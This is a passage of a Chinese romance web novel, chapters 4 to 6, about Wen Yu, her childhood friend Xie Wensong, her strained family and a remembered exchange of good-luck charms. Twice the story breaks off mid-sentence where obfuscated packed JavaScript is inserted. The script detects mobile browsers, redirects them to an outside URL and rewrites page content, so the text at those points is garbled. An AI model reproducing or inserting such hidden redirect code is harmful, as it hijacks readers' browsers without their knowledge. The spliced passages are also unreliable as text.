温遇正想说她带给谢闻颂吃了,就见妈妈背过身一个人嘀咕起来:“我切完才发现菜刀用错了,那西瓜切出来肯定一股蒜味。” 她话明显没说完。 温遇心突突跳,有种不太好的预感。 “我还寻思给小区的流浪狗吃呢,怎么不见了?” 温遇:“…………” 她好像,闯大祸了。 西瓜的事情没有后续,温遇当然不能和谢闻颂说,原本那块西瓜是要给小区里的大黄或者小白吃的。 她怕告诉了谢闻颂,以后就再也别想找他帮忙。 温鱼鱼幻想了下要是把这事告诉谢闻颂会有什么结果,最终她只得到四个字—— 直接友尽。 或者偶像变仇人。 等次日她散尽心虚,再去谢闻颂家里写作业的时候,琴房的长桌上已经没了之前他堆的白纸和铅笔。 几样乐器还在。 高中三年也如初中一样飞速逝去,等某一天温遇再来到谢闻颂家里时,曾经的琴房里已经空无一物,茶余之后随意提起,谢闻颂只说—— “不感兴趣了。” - 把行李箱拖进屋里,温遇先从电脑包里把笔电取出来放在桌子上,然后从隔层里把装家居服的袋子抽出来,径直走进浴室。 洗过澡后,浴帽裹在头上,温遇刚想下楼接杯水,房门处传来细微的响声。 她正想过去开门,正看见门把手往下“啪嗒”一掰,露出一道缝。 她往下一看,核桃吐着舌头站在门口,黑溜溜的眼珠一眨不眨盯着她。 “……” 核桃你这开门技术是不是也太好了点? 温遇记得上次来的时候它还是个只会用爪子挠门板的小狗。 温遇顺势蹲下身撸了把狗头,然后趿拉拖鞋往笔电的方向走,她刚才听见消息提示音了。 估计是Mentha杂志社那边的事。 还没坐下,温遇察觉什么似的扭头,再次和核桃投来的视线撞在一起。 她朝核桃招手,它也不进来。 温遇微愣,从椅子上起身走到它旁边,核桃往后撤了一步,倒像是要带她去哪里。 她跟在核桃身后来到二楼靠南侧的门外,它前肢抬起扒拉开把手。 “啪嗒——”门被打开。 看着核桃这熟悉的操作,温遇嘴角抽了下。 谢闻颂平时到底是怎么教核桃的。 养成见门扒门的习惯,明显不是一日方能练成。 和刚才打开她门不同的是,核桃开门后直接往房间里进,身体顶开只有一道缝的门板,里面没开灯,温遇还以为这是一间空房—— 直到她听见越来越近的脚步声。 和声音共同到来的,还有微微潮湿的水汽,带着点别的清冽气息共同淋下来。 像是雨后静谧的森林。 温遇站在门口没动,看见身后涌进来的灯光将门口那一块照亮。 穿着拖鞋的人踏进光里,然后伸手啪一下打开屋里的灯。 谢闻颂脖子上还挂着毛巾,额发还未擦干,自然耷拉在眼前。 他屈肘,小臂抵在门框的木棱处。 谢闻颂也明显是刚洗过澡,眼角从耳廓再到脖颈都被热气熏得微红,唇角笑意味不明,过分宽大的t恤套在身上,朦胧的光将他虚拢起来,可也有什么流淌出来倾泻在外面,让温遇觉得有点陌生。 光从他身后如同涨潮一般漫到她身上,T恤不厚,沿着他上半身轮廓勾勒一道边。 当真是好腰。 温遇目光微顿,再对上他眼的时候多了几分心虚。 用眼睛嫖人。 这还是她第一次这么干。 谢闻颂像是注意到了,又好像故意忽略装着不提,只是瞅着她,笑意加深几分。 “大半夜开别人房门。” “温鱼鱼,你想干嘛。” 4.鱼鱼 4/ “我跟着核桃来的。”温遇眼神落在已经大喇喇躺在谢闻颂屋里的某只金色大型犬,眼神无辜,“我不知道这是你房间。” 谢闻颂收起撑在门框边缘的手,收回裤兜的时候意味不明笑了声,转头喊:“核桃,过来。” 核桃从地上起来,迈着小腿前后倒腾走到谢闻颂脚边,男人顺势蹲下,单手去摸它的头顶:“是你把姐姐带来的?” 温遇正要同步曲腿的动作微停。 虽然按照核桃的角度来说,喊她“姐姐”没什么问题。 不过这两个字从谢闻颂嘴里出来,怎么听怎么怪。 毕竟还在很小很小的时候,因为出生月的原因,他是叫自己妹妹的,后来有了鱼鱼这个称呼,就再没怎么喊过。 没去纠结这点细微的感觉,温遇也把目光放在核桃身上。 收到问题的小狗看了眼谢闻颂,然后黑漆漆的眼珠转到温遇的方向,叫了一声。 这算是承认。 温遇稍松一口气,心底不知道哪里来的底气问:“谢闻颂,核桃这扒门技术是你教的吗?” “?” 谢闻颂脸上的疑惑神色尽显,“什么扒门?” 话刚落,他似是明白了什么,唇畔笑意加深:“刚才核桃也把你的门打开了?” 温遇一本正经点头,双手半拳状放在膝盖上:“嗯。” 某人盯着她包着浴帽的头发两秒,大致猜到了刚才发生过什么。 “这样啊。”谢闻颂微微侧头,半个手掌贴在核桃毛茸茸的小脑袋上极轻揉了下,再次回看女孩时,唇线自然上挑。 “那我替核桃给鱼鱼公主道个歉。” “对不起。” …… 谢闻颂一句玩笑似的道歉差点让温遇失眠一个晚上。 躺在完全陌生的一张床上,周遭的一切都不是自己熟悉的气息,温遇难得酝酿出了点怀念的情绪。 按理说她之前一个人在外面的时候也不算少,时过境迁,她也早已经不是恋家的年纪,失眠的时候更是屈指可数。 可是今天不知道为什么,就是有点睡不着。 明明上午才从机场出来,到现在也算是奔波一整天。 疲惫感还没漫进四肢百骸,失眠率先到来。 床头的小夜灯是月亮造型,上面雕着精细的纹路,灯光不晃眼,朦朦胧胧洒下像糊了层半透明的纸,温遇盯了会儿。 一秒,十秒,一分钟,五分钟…… 然后她任命地掀开被子下床,顺着楼梯下到一楼,窝在沙发的一角。 谢闻颂家里的电视也许是不怎么用,上面盖着茶色的防尘布,温遇掀开叠成方形放在一边,小心翼翼把开关摁开,将声音放到最小。 重新跌回沙发,温遇随手抽了个抱枕抱在怀里,正拿着遥控器跳转频道,视线扫到了放在水晶方桌上铝纸包装的方形软糖。 看着有点眼熟。 她注意到上面的字母,是自己最喜欢的牌子。 温遇眼睛亮了下,半倾身伸手从竹编篮子摸了一颗,拆开包装送进嘴里。 清甜青苹果味在嘴里散开,牙齿轻咬,熟悉的味道蔓延进唇齿,温遇满足地眯了下眼睛,好吃到头都没忍住跟着摆了两下。 客厅没开空调,刚才摸黑找遥控器的时候有点热,温遇就把头发随意扎起来,脑袋一晃,马尾似乎是扫到了什么。 她脊背一僵,之前看到过的恐怖电影镜头涌上脑海,下意识偏头去看,是一截手腕。 清瘦骨感,上面套着根皮革条编织手链,被电视光打上,上面的黑也有几分褪色。 她晃了一下神。 声音从头顶落下,轻得仿佛窗外柔和月光。 “不睡觉,就是一个人跑到楼下看电视?” 相比于温遇眼里昭然若揭的讶异,谢闻颂没什么吓她的欲望,收起撑在沙发上的手,自顾自走到冰箱前,从里面拎出两听汽水,在和温遇中间隔着一个人的位置坐下。 汽水刚从冰箱里拿出来,铝制罐外面的水珠纷纷下落,在玻璃桌上晕成一个圆。 谢闻颂动作很快把拉环拆开,将其中一罐往温遇的方向推了推,然后像是意识到什么,从旁边抽了两张纸,擦干净表面的水珠再放回刚才的位置。 自己那听他没怎么擦,虎口掐着易拉罐喝了口又放回去,后背陷在沙发里,眼神望向电视机。 余光注意到温遇还在愣神,谢闻颂微侧头:“不换台?” 温遇看向电视,上面在放《熊出没》。 “……” 什么时候调的少儿台,她都不知道。 从感觉身边有人开始,她就没注意过电视里究竟放的是什么。 温遇嗯了声,手指在摁键上摸索换台键,刚好翻到电影栏目,“要不就这个?” “行。” 屏幕靠右下方的位置挂着电影名,温遇纯碎是消磨睡眠的时间,搂着抱枕盯了会儿字幕,迫使自己把注意力放到推进的剧情上,然后拿起桌面上的汽水,还顺走了一颗青苹果软糖。 今晚第二颗了。 刚才被擦过的罐身又有些湿漉漉,和掌心贴在一起有点黏腻,她瞥向纸巾盒的方向,有点远。 心中和懒惰艰难抗争,温遇正犹豫着要不要去拿纸,身旁的人忽然有了动作,抽了两张纸递到她面前。 将柔软的纸拢在掌心,温遇说了句谢谢,纸巾垫在掌心,隔绝那抹冰凉湿意,不知怎么又想起中午谢闻颂给她撑门的时候。 “你东西多吗?”谢闻颂突然开口,温遇一时间没摸着话头在哪,“什么?” “不是要搬家么,我明天刚好有时间。” 您这刚好不一定是真的刚好吧。 温遇默默腹诽,有点狐疑地看向旁边的人,“你要和我回家?” 她的东西太部分还在家,要是搬肯定要回家里先收拾。 谢闻颂整个人松散地窝在沙发里,迎上她视线,没什么表情,“不和你回家也行——” “除非你打算把‘司机’一个人撂在门口,并不打算让他进去。” “……” 谁有胆子把您当司机。 饶是以前自己和他关系特别好的时候,她也不会把谢闻颂一个人撂在外面,更何况今非昔比,眼前这个人早已经不是当初青涩稚拙未褪去的男孩。 谢家的小少爷,外人提起这个名字眼睛里都会泛起波澜的存在,更何况放眼整个上层圈,也肯定没人敢说把谢闻颂当司机这种事。 她还是太大胆了。 咽下在嘴里噼里啪啦炸着气泡的汽水,温遇放下手里的易拉罐,一脸诚恳:“没有,我妈今早还和我说你来接我,我要是不让你进去,估计她也不答应。” 沉默两秒,他又问:“那你是碍着徐姨,还是真的想让我进去。” 温遇不太明白他怎么将话题绕得这么复杂,有点困惑:“以前我们住邻居的时候不也是这样串门的吗?” “现在虽然不住那么近,但不也是随时都可以去对方家里的吗?” “是啊。”谢闻颂好像也在感慨,语音落下的同时,视线落在编织篮里的方形软糖上,唇角微抿,“那为什么。” 这四个字太轻,被电视播放的声音掩盖,温遇正思索电影情节,分神也没听清:“你说什么?” 对面沉默未应,温遇刚要转头,头顶落下轻柔触感,然后只看到他从沙发上起身,顺手从篮子里摸走青苹果软糖离开的身影。 “少吃点糖,早点睡。” “……” 温遇朝他背影噘嘴吹了吹刘海。 嘴里甜味很快散去,温鱼鱼将某人刚才的话抛在脑后,又从篮子里摸了一颗,火速拆开包装含进嘴里,然后露出一抹满足的笑。 心里对某人的腹诽就没停过。 还说我,你不也爱吃吗? 要不然为什么买这么多。 …… 借着失眠借口冲动熬夜的结果,就是鱼鱼同学在车上困得直打盹,要不是身前有安全带勒着不让她往前撞,估计这一程下来额头都要磕青。 夏天太阳出来得早,她一犯困头往前垂,就刚好落在滚烫的阳光上,不得不又收回去靠在椅背上。 谢闻颂听见她睡梦里哼哼唧唧不满地咕哝觉得好笑,伸手帮她把副驾驶前面的挡板拉下来。 果然阳光被挡住以后,旁边咕哝的声音少了很多。 谢闻颂将音乐声调小,偏头看向一旁的某人。 白色蕾丝边的衣领将下巴罩起来,随着呼吸微微起伏。 看来不只是只困兔子,还是一只懒兔子。 高考结束之后,温遇和谢闻颂因为各自家庭的安排和变化,不再互为邻居,温遇家搬到了城南的一处僻静别墅区,从谢闻颂现在住的地方开车要四十分钟。 谢闻颂大学之后自然而然从家里搬出来住,人生的路在他们彼此的脚下不断延伸、拓展,刻画各自的轨迹。 很多事情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13493919|141880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也在之中悄然变化。 注定会和小时候不太相同。 温遇在车上就提前和妈妈说自己要回来收拾东西这件事,对话到最后,她说谢闻颂也会来。 似有所感应,距离到家还有二十分钟的时候,温遇醒了过来,看向旁边的人:“音乐怎么关掉了?” “因为我觉得有点吵。”谢闻颂面不改色。 “哦。”刚醒来的温遇还没转过来,脑袋在皮质座椅上转了半圈,掏出手机查看有没有什么新消息。 没几分钟,车子便开进别墅区。 还没走进家门,温遇就看见徐翩禾提着浅蓝色的水壶在门前浇花,水珠洒落在花瓣上,阳光在折射七彩光影。 温遇捏紧包带,对着她背影喊了句:“妈。” 徐翩禾转身,放下水壶走过来,伸手摸了摸女孩柔软的长发:“温温回来了啊,这一个月在国外还开心吗?” 温遇露出抹浅笑:“嗯,挺开心的。” 说完这句,空气略微沉寂几分。 温遇想,如果可以忽略掉母女之间细若游丝的尴尬气氛,她应该会更开心的。 她还没往前迈步,后面传来脚步声。 刚才因为局促气氛而加快的心跳霎时趋向平稳,温遇松开抓着包带的手,看向旁边走过来的人。 女人看见已经将车停好走来的谢闻颂,笑容更甚:“小颂啊,快进来坐。”然后招呼温遇,“快去给小颂切点水果,来一次不容易。” 温遇张了张口,下意识就要迎合徐翩禾的话说好,只是身侧人已经走至旁边,声音温和:“不用了徐姨,她也刚回来,一会还得收拾东西,怪累的。” 谢闻颂说完这句,偏头看了眼温遇,最后看向徐翩禾,眼神微抬,和刚才的语气没有差别。 “谢谢徐姨,我在家坐会儿就好,等鱼鱼收拾好东西,我再送她去租住的地方。” 三个人的步伐带着往里走,徐翩禾闻言应了两声,略显嗔怪地看了眼温遇:“你说你,去个房子还要小颂送。” 温遇没说话,只是沉默往里走。 要是她妈知道她租的房子也是谢闻颂的,估计得惊掉下巴。 客厅里,专门聘请的看护正在拿着玩具和温途玩:“小少爷,看我手上的是什么呀。” 温途一边咧开嘴角笑,一边用手去够看护手上的玩偶,单音节的字咬得不太清:“鱼……鱼……” 温遇路过,看见这一幕脚步顿了下,感觉到徐翩禾落在自己身上的目光,脊背瞬间绷紧。 她刚要往温途的方向走,谢闻颂已经走到她身后,彼此肩膀挨得很近,直至触碰到。细微的衣料摩擦声无限放大,让温遇几乎是瞬间就转过头。 “上楼收拾东西吧,我晚上还有个会。” 温遇眨眨眼。 他不是说今天有空吗?就算是晚上真的有事也不会在这个时候告诉她。 难道是…… 读懂女孩眼里似有若无的疑惑,谢闻颂在心里叹了口气,也朝她眨两下眼。 像是在无声交流某件小秘密。 温遇迟半拍明白了他的意思,心头一暖:“嗯。”随即扭头看向徐翩禾,“妈,那我先上楼收拾东西了。” 然后调转脚步,直上二楼。 楼梯刚上到一半,客厅处传来响动。 “啪嗒——” 应该是有人路过不小心撞到了谁,有什么东西掉在地上,伴随着温途兴奋的叫声:“鱼——鱼——” 比刚才声音更大。 鱼鱼。 温遇转头,刚好看见谢闻颂低头把什么从地上捡起揣进兜里,然后神色如常坐到沙发上,正和徐翩禾说话。 似乎是感觉到她还未完全上楼而投来的目光,谢闻颂屈指抵着鼻梁往上看。 意料之中的对视,视线的高度差让温遇撑在扶手上的手指紧了些。 谢闻颂今天穿了件港式印花的深灰色T恤,下身是一件纯黑工装裤,抵着鼻梁的手指向上延伸到短袖袖口,在一片深色里白得晃眼。 额发略微打理,乖顺垂下,抬头看她时喉结完全暴露,温遇看见它上下挪动一下,幅度很小。 四目相对,他又朝自己眨眼。 瞳孔里漫出零星笑意。 像某种目的达成之后自然表现出的餍足。 温遇一怔。 这个眨眼没含义,只是纯粹的,他骨子里带着点的,对人不起痒的戏弄。 他一贯擅长这样对她。 5.鱼鱼 5/ 温遇初二的时候,徐翩禾有了二胎,全家包括温遇在内都很期待这个未出世的孩子,每天放学之后,温遇还会跑到妈妈身边,用耳廓小心翼翼触碰那层肚皮,听着里面细小的声音,感喟生命孕育的过程竟然是这样奇妙。 那个年纪的孩子拥有的都是纯粹的快乐和纯粹的苦恼,思维没有大人的弯弯绕绕,说话也不会九曲回肠,加上温遇本身性格开朗,不管在哪都是活跃得像一个满能量小太阳的状态。 所以当自己得知妈妈的肚子里有她的妹妹或弟弟时,她满心欢喜,盈满期待。 小太阳一天天在家里轮转,兴奋地告诉所有认识的人自己要有弟弟或者妹妹,仿佛永远不会坠落。 徐翩禾怀胎八月时,温成钢在外面忙生意,那段时间鲜少回家,孕期孕妇情绪格外敏感,加上身材走样,脸庞浮肿,那段时间她极其缺少安全感,没等到温成钢回家又不肯早睡,等得不耐烦打电话过去,也只得到一句:“我今晚不回去了,你先睡。” 守着空荡的房子,徐翩禾情绪不止一次崩溃,笨重的身体让她连走路都成困难,只能坐在床头不停啜泣。 温遇见此,每天都把作业放在学校写完,回家之后每时每刻守着妈妈。 温成钢回来之后,两人还会发生争吵,徐翩禾每天都被各种各样的负面情绪填满,临近产期也没去做产检,整个人清减不少。 生完温途之后,两个人被告知这个孩子竟然罹患唐氏综合症。 医生脸色也不太好,一直在问温成钢和徐翩禾,为什么没有按期产检,等到孩子生下来情况不对才发现。 此时温成钢已经将工作方面的事稳定下来,明明一切都在往好的方向发展才对,结果偏偏遇上这样的事,两个人抱在一起彼此自责,每天守在温途的病房外垂泪。 一个抱怨自己为什么没有关注妻子孕期的情绪,一个怨恨自己为什么自陷情绪没有按时产检。 刚从学校放学赶到医院的温遇走到两人身后,小手攥紧书包带,小声说可不可以看看弟弟,结果对上的是夫妻二人沉默的身影。 徐翩禾转过身,眼眶通红,蹲下身和温遇平视。 本来寂静的走廊,她一句话落下,温遇全身瞬间僵住—— “为什么妈妈当时生你的时候,就没问题呢?” 这句话像一场经年未停的雨。 一直让温遇潮湿到现在。 - 温遇从小到大都没怎么怀疑过父母对她的爱。 即使当时徐翩禾面对还只是个孩子的她说出那句话,她也只是紧绷着难过不让眼泪掉下来,然后在没人看见的角落一个人流泪。 她难过地没有怪任何人。 因为她知道,温途患上这样的病,是谁都不愿意看到的,所以家里面的关心和爱多分给他一些,这是一件很正常的事,她一点也没有怨言。 或者说,温途是应该被更多爱包裹的。 只是这么多年来,或许是因为各种各样的因素,她和温途之间的关系并不算亲密,徐翩禾似乎是看出了这一点,所以刚才才会把视线落在她身上。 温遇在家里生活这么多年,徐翩禾一个眼神她就什么都明白过来。 她是想让自己多和温途接触。 或者说,承担起她作为一个姐姐的责任。 而照顾弟弟,是她作为姐姐的责任。 只是她不愿意,也不想上去凑那个热闹。 温途身边有护工阿姨笑着哄着,有徐翩禾耐心一顿顿亲自喂饭,又有全家人全方位照顾和关心。 少了她,会有什么区别吗? 不会的。 不过她从小到大都没怎么叛逆过,青春期极致的汹涌似乎在她身上没有停留。 她还是一如既往地特别乖从小长到大,只是从一个炽热外向的小太阳,变成了一个沉默内敛的小太阳。 她的笑容还和以前一样灿烂,就仿佛这么多年的很多事情没有发生,或是早就淡忘,在身上并无残遗。 可是只有她知道,有些事是不可能过去的。 温遇把很多事情从脑海中过了一遍,殊不知这已经花掉了她接近半个小时的时间。 她只是没想到,竟是谢闻颂率先看出她的不自在,然后自然而然给她解围。 还有门口,她被徐翩禾喊切水果这件事。 他真的,帮了她很多很多忙。 很多,很多。 刻意的,或是不经意的。 昨晚和谢闻颂在沙发上谈话的场景历历在目,温遇垂眼靠在门板上,指尖抠着木门竖状雕花,心口仿佛压了团浸水棉花,闷不透气。 想起自己连他生日都忘了这件事,温遇心里的愧疚像涨潮一般涌上来,她认真地开始换位思考。 如果事情反过来,她肯定做不到谢闻颂这样。 照顾她的情绪,帮她找租住的房子,还要帮她搬行李。 要不,她还是把谢闻颂放回“偶像”的位置吧。 这人只给她当竹马是不是有点太亏了。 心中还堆了点陈年旧事,乱糟糟盘绕一片。温遇沉默着,指尖微蜷,睫毛落下的阴影和此刻只有她一个人存在的房间,好像是此刻唯一可以栖息的地方。 “叩叩——” 门板因为外面有人在敲轻微震动,温遇瞬间错开身,刚才想着事的思路断开,整个人有点茫然。 “我可以进来吗?” 是谢闻颂的声音。 他听到房间里的动静,感觉到门板里侧的人并没反应过来似的,声音接着透进来:“你东西多吗?帮你收拾会不会快一点。” 温遇转身打开门锁,还未收拾好的情绪乱糟糟堆在外面,她抿唇说了句好。 见她站在门口低眉顺眼的模样,谢闻颂也没急着往里进,闲散地靠在门框上,双手交叉在胸前,感觉温遇情绪沉闷,他刚才在楼下朝她眨眼时扬起的眉梢也坠下来。 气氛凝脂几秒,谢闻颂似乎是有点无奈,头往前凑了几分,直到能将女孩脸上的每个表情收进眼底。 “公主怎么又不开心了?” 温遇一噎,小声嗫嚅的同时转身往里走,让开门口的位置:“我没不开心。” 说着便去整理之前收拾到一半的书柜,心不在焉地把刚放进纸箱的书又摆回书架上。 做完这个动作她就后悔了。 身后传来一声低笑。 “你再这么收拾两本,估计咱俩晚上都走不了。” 温遇不争气地看了眼自己的手,后面的笑音更是激发她内心压抑的暴躁,她回头佯装生气:“谢闻颂你烦不烦!” 这一回头,正好看见谢闻颂坐在她书桌旁的白色椅子上,想起他刚才说帮她收拾东西的话。 “怒火”顿时消了大半。 她哪敢使唤谢闻颂。 不敢使唤他。 却敢发脾气。 虽然是装的。 于是眼神极其锋锐,但是努力闭口不言的鱼鱼同学把书架上刚放上的书拿了下来。 估计带着点隐忍未发的气,动作有力到谢闻颂仿佛感觉鼻前扇过一缕风。 “……” 这也太记仇了吧。 谢闻颂掩饰性摸了下鼻尖,自动站起来,面对她一片杂乱的书桌,指了指,“这儿我帮你收拾?” 温遇回头,稍微想了下桌子上应该没有什么东西不能被他看见,便也答应下来。 书柜很快收拾完,温遇将纸箱用宽胶条封好放在门口的位置,开始整理床头柜的旧物。 刚把用掉一半的香薰收进纸箱,温遇余光瞥见谢闻颂手里拿着什么,半天没动。 “怎么了?” 温遇以为他看到了什么不该看的,放下手里的香薰就往他那边走,直到看清他手中的东西,脚步这才停下。 谢闻颂感觉她往这边走,举起手里的平安符在她眼前晃:“这东西你平时就随意堆在桌面上?” 看似平静的话语,温遇摸到了点别的情绪,下意识否认:“没啊……我一直……” 见他的视线再次挪过来,她卡了个壳,“很好保存的。” “是吗?” 谢闻颂没再说什么,这一句问话也显得不太需要回答,转过身喊她:“温鱼鱼,伸手。” 温遇伸出手,小巧的平安符落在掌心,似乎是时间有些长的原因,绣着字符的金线颜色都变黯淡,边缘也有线头支出来,布面边缘沾了灰尘,并不算足够干净。 本来她还没想起来对这平安符的熟悉感来自哪,直到她回忆起那天从春茶出来的时候,谢闻颂车上的后视镜底下也挂着同款不同色的平安符。 她当时还随手摆弄了一下,寻思已经过去这么久的东西谢闻颂怎么还留着。 记忆寻到小尾巴,顺着往前摸。 温遇想起,这是她和谢闻颂在高三那年曾经交换的平安符。 - 温遇和谢闻颂上高三那一年赶上南川附中的百年校庆,各种社团活动的参与热情空前高涨,学校论坛和公众号的推送几乎都被校庆这个话题占满—— 不过这些和他们高三生并没有什么关系。 高三根据文理分成两栋楼,横跨操场,别的年级都能跑出参与活动,高三生却只能在老师的勒令下收回目光,顶着嗡嗡作响的电风扇做卷子。 雷打不动的三天一小测,一周一大测,看不见尽头的日子陷入死亡轮回,他们看着高一高二在各种各样的活动里收获情绪价值,每天被学弟学妹庆祝校庆的朋友圈刷屏,说不羡慕是假的。 临近百日誓师的时候,温遇因为学习压力太大生了场病,匆匆在学校请了假,徐翩禾来接她,带着复习资料去医院打吊瓶,烧得迷迷糊糊时候都分不清眼前照顾她的究竟是谁。 吊瓶打完,温遇慢慢醒来,抬手摸了摸还有点发晕的头,这个时候才发现旁边坐着的人已经变成谢闻颂。 他单手握笔,略微厚重宽大的练习册在旁边的小桌子上铺展不开,他只好写一道题挪一下练习册,垂着眼,冷然又专注。 发烧让温遇的意识都开始变得迟滞,干涩唇瓣上的温度很烫,连带着脑海一片乱糟糟,目光向远处拓展,也只能看见旁边坐着的这个人。 谢闻颂分了点神在温遇身上,见她苏醒自然放下手中的笔,微凉的指尖拨开刘海,手背贴着她还未退去热度的额头,和自己的对比了一下:“还是有点烫。” 然后他主动找护士要了体温计,回来让温遇夹在腋下。 “你怎么来了?”温遇接过谢闻颂给她拧开的矿泉水,一口气直接喝了小半瓶。 本子合上,谢闻颂将笔夹在练习册中间,单手托腮看她:“徐姨说她晚上临时有事,问我能不能过来看看你的情况。” “哦。” 温遇抿了下嘴唇,后知后觉意识到一个问题:“那你晚自习……” “在哪儿上都一样。”谢闻颂不甚在意,继而提起另一件事:“明天学校安排的登山,你去不去?” 他提起这事,温遇的精气神被吊起来了点,“当然去啊,好不容易让高三参与一下学校活动,改善一下我淡出鸟的学习生活。要是不去,也太可惜了。” “你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13520092|141880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎么去?你带病去?” “我没病,我今晚就好了,明天就算爬的是泰山,我也要登顶。” 看着眼前病态还未消去的女孩一脸坚定,谢闻颂也知道自己劝不动她。 噢,还是一只倔兔子。 等到第二天在学校门口集合的时候,温遇已经恢复和平时状态差不多的样子,和同学笑着聊天的间隙看到几步远正看着自己的谢闻颂。 温遇举起手里的早饭,是一小袋豆沙包,朝他摆了摆手。 大巴车上,谢闻颂坐在温遇的后一排,即便塞了耳机也能听见前面某人兴奋的声音。 谢闻颂心里想。 噢,原来去一次登山,就能让她这么开心。 比吃药还管用。 要知道温遇小时候生一场病,如果第二天没好完全,是一定不会去学校的。 看来这段时间确实让她太压抑了。 不知是想到什么,谢闻颂看向车窗外飞速掠过的树影,倏尔弯起唇角。 到了曲珩山的山脚下,高三部按照班号顺序排好队集体爬山。温遇好不容易能出来透透气,特别珍惜这次机会,跟着大部队一口气登到山顶,别的同学拿出电动小风扇吹着自己汗湿的刘海,抱怨要是早知道今天这么累就直接请假,她倒还有力气绕一大圈去冷饮柜买根冰棍吃。 谢闻颂想着她昨天病还没好,加上徐翩禾和他说今天帮忙看着点温遇,见她脱离开大部队,他也默默跟了上去。 还没走到小卖部门口,就和刚扯开包装袋,正叼着冰棍的温遇对上。 她似乎注意谢闻颂是跟着她来的,咬掉方形冰棍的一角:“你要吃吗?我请你。” 谢闻颂摇头,本想引着她的脚步往回走,结果还没走几米发现旁边的人正歪头往另一边看,停顿进几秒也没管谢闻颂,直接往旁边走。 “……” 看来病是真的好了。 亏他还担心今天的活动量会让她身体不舒服。 谢闻颂认命转过身,看见温遇在售卖平安符的摊前蹲下来,少女原本扎高的马尾因为活动略微松散,头顶蓬松没捋顺的碎发支出来,像炸毛了一样。 他正关注她头顶的碎头发,下一瞬小脑袋转过来,举起两个平安符给他看:“谢闻颂,你喜欢这个吗?这两个哪个好看?” 女孩蹲着身往上看,这段时间的高强度学习好像又让她瘦了点,黑净透亮眼珠里的碎光宛若鎏金墨水里添进去的细闪。 那是她自己运行起来的银河。 心头仿佛猝不及防被人用火燎了下,微微发热。 谢闻颂往后撤一条腿蹲下,胳膊肘搭在膝盖上,头靠近那两个平安符,眼神似是要仔细辨认。 “都挺好看的。” 没说喜欢也没说不喜欢。 而温遇也仿佛并没有很在意他的回答,选了其中粉红色的递给老板:“就这个吧。” 问了价格之后,温遇掏出手机就要扫码,屏幕中的绿框框还没对准,旁边的人已经挡在她前面,顺便拿起刚才温遇挑的另一个平安符:“老板,这两个一起结了吧。” “你干嘛,谢闻颂。” 被她喊的人并不急着回应她,谢闻颂将两个平安符放在牛皮纸袋里,之后收起手机转过头看她,“我觉得那个蓝色的也挺好看,就一起买了。” “给你。” 他把牛皮纸袋放到温遇的手心。 “好端端的,干嘛送我礼物?” 手里的冰棍有往下滴的迹象,温遇侧头抿了口,含糊问:“谢闻颂,你是不是想让我欠你一个人情。” 她眼神实在诚恳,谢闻颂忍着笑意想逗逗她,“是。” 某人偏头看她,嘴角努力压制上扬,似乎在憋笑。 “所以下次见面的时候,你可以换个称呼。” “?” 温鱼鱼心里念着他这个问题,在附近找了个阴凉地,认认真真把剩下的冰棍吃完,雪糕棍被她扔在不远处的垃圾桶里,折返回来时谢闻颂站在原地等她。 谢闻颂看见她往这边走,眼神里些许期待在闪烁。 这次应该知道怎么喊他了吧…… 毫无疑问,一定是谢荔…… “债主,你是不是想让我喊债主。” “……” 啪—— 期待碎成渣子,碾进泥土里,再也看不见丁点亮光。 谢闻颂唇边的笑实在牵强,实在没想到是这个回答:“债主?” “嗯。”温遇还在感慨自己的机智,满意朝他看了眼,从牛皮纸袋里拿出两个平安符,“你替我买了,我还没给你钱,可不是债主么?” “……” 赔了夫人又折兵。 莫名其妙成了某人的债主,谢闻颂现在的心情也有点绝望。 直至视线里划过一枚粉色的平安符,温遇直接拉过他的手,把它放上去。 “你一个我一个,我可把我最喜欢的颜色给你了。” 温遇手里捏住那枚蓝色的,微微昂首和他对视,“虽然都是你买的,不过这样也算交换了。” “谢闻颂。”她很认真,给他展示布面上绣的文字,“我们都要平平安安,记住了?” 说罢,温遇嘟囔着往回走:“高考之前,我可不想生病了。” 跟在她身后的少年一怔,心底漫开细小的涟漪。 像布面上的金色丝线压在心底,一圈圈地温柔缠绕。 哪有负债人直呼债主名字的。 也太不专业了点。 不过看在公主那么开心的份上。 就算了。 6.鱼鱼 6/ 平安符后来被放进温遇随身携带的小包里,她卧室里需要收拾的东西不多,谢闻颂的车就停在楼下,搬东西也不算特别麻烦。 把最后一点零碎的东西收拾好以后,温遇和谢闻颂下楼,站在楼梯口就听见下面传来的嬉笑声。 她视线往声源投去才发现是温成钢回来了,手中正拿着玩具逗温途开心。 站在一旁的看护也是满面笑容。 那画面看着似乎有点烫人,温遇沉默着收回目光。 身旁的谢闻颂似乎察觉出了她细微的情绪变化,视线很轻地放在她身上,然后又不着痕迹移开。 看见温遇走下来,温成钢刚才哄着温途的笑容略微收了收,紧接着站起身,在看见她身后的人时愣了下,然后想起刚才徐翩禾提起谢闻颂也来了这件事。 问了几句女儿的近况,温成钢目光向后望,欣慰地看着谢闻颂:“小颂都长这么大了。” 扯了几句家常,温成钢再看温遇时,他开口:“不在家多住几天?你不在家的这一个月,我和你妈,还有你弟弟,都挺想你的。” 温遇闻言愣了下,随即轻轻摇头,“下周我就去上班了,住在家里通勤时间太长。” 